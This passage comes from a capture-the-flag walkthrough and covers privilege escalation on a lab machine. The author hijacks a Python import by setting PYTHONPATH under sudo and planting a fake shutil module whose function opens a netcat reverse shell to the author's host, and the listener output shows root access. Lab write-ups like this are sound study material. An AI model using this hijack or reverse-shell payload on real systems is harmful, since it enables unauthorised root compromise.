if [ "$EUID" -eq 0 ]
then
echo "Running backup script in the background, it might take a while..."
/opt/scripts/backup.py &
else
echo "Insufficient privileges to perform the selected operation."
fi
}
backup_db()
{
if [ "$EUID" -eq 0 ]
then
echo "Running mysqldump in the background, it may take a while..."
#/usr/bin/mysqldump -u root admirerdb > /srv/ftp/dump.sql &
/usr/bin/mysqldump -u root admirerdb > /var/backups/dump.sql &
else
echo "Insufficient privileges to perform the selected operation."
fi
}
# Non-interactive way, to be used by the web interface
if [ $# -eq 1 ]
then
option=$1
case $option in
1) view_uptime ;;
2) view_users ;;
3) view_crontab ;;
4) backup_passwd ;;
5) backup_shadow ;;
6) backup_web ;;
7) backup_db ;;
*) echo "Unknown option." >&2
esac
exit 0
fi
# Interactive way, to be called from the command line
options=("View system uptime"
"View logged in users"
"View crontab"
"Backup passwd file"
"Backup shadow file"
"Backup web data"
"Backup DB"
"Quit")
echo
echo "[[[ System Administration Menu ]]]"
PS3="Choose an option: "
COLUMNS=11
select opt in "${options[@]}"; do
case $REPLY in
1) view_uptime ; break ;;
2) view_users ; break ;;
3) view_crontab ; break ;;
4) backup_passwd ; break ;;
5) backup_shadow ; break ;;
6) backup_web ; break ;;
7) backup_db ; break ;;
8) echo "Bye!" ; break ;;
*) echo "Unknown option." >&2
esac
done
exit 0
In the backup_web() function, the shell script made a call to the Python script owned by root at /opt/scripts/backup.py. Since I already knew I had read-only access to that file, I dumped the contents to the terminal so I could investigate its source code as well.
#!/usr/bin/python3
from shutil import make_archive
src = 'var/www/html/'
# old ftp directory, not used anymore
#dst = '/srv/ftp/html'
dst = '/var/backups/html'
make_archive(dst, 'gztar', src)
It looked like the script imported a function from the shutil Python package in order to make a tarball backup of the web root. I knew that Python will search for import targets in the working directory first, before falling back to searching in the defined Python path. I didn't have write access to /opt/scripts/, but I also knew that I could manually define an arbitrary path as a local environmental variable when executing a command in the system shell. First I created a malicious shutil package in /dev/shm/. Since backup.py only imported a specific function, I had to insert my reverse shell payload nested within a function with an identical name as well. I had already confirmed that nc was present on the target host, so I used a Python system call to execute a nc reverse shell connection as my payload.
import os
def make_archive(a, b, c):
os.system('nc 10.10.14.36 443 -e "/bin/bash"')
At that point, I was ready to execute the admin_tasks.sh script. I made sure to set the temporary Python path variable, and I selected Option 6 from the System Administration menu of the script since the source directory was defined as 'src = /var/www/html' in the backup.py script.
sudo PYTHONPATH=/dev/shm /opt/scripts/admin_tasks.sh
[[[ System Administration Menu ]]]
1) View system uptime
2) View logged in users
3) View crontab
4) Backup passwd file
5) Backup shadow
6) Backup web data
7) Backup DB
8) Quit
Choose an option: 6
Running backup script in the background, it might take a while...
It looked like the script executed without any errors, so I jumped over to the nc listener on my local Kali host where I saw that I had successfully caught a connection. I used Python to upgrade to a PTY shell, then verified I was running in the context of root.
nc -nvlp 443
listening on [any] 443 ...
connect to [10.10.14.36] from (UNKNOWN) [10.10.10.187] 60676
python -c 'import pty; pty.spawn("/bin/bash")'
id
uid=0(root) gid=0(root) groups=0(root)
Final Thoughts
I really enjoyed compromising this machine. While the initial enumeration and foothold process did involve combing through files for pieces of required information, I never hit a point where I felt the path was leaning towards being CTF-like. All the credentials that needed to be discovered in order to progress were in locations that seemed to fit both where they would be located and why they would be present in a real-life scenario.
I spent some time in the middle of this machine trying to get the code for a Python-based rogue MySQL server running properly before realizing I could exploit the Adminer vulnerability simply using the standard MariaDB server. I haven't had an opportunity to with SQL databases much in a professional or enterprise setting, so I enjoyed learning a bit about the administration and AAA controls provided by MySQL.
I enjoyed the privesc path on this box a lot also. The foothold/user compromise took me the most time to accomplish, so it was nice to have a relatively straight-forward path to root. I appreciated the fact that it wasn't a simple give-me like a few other boxes have been though, instead requiring the chaining of different scripts together to successfully execute the exploit.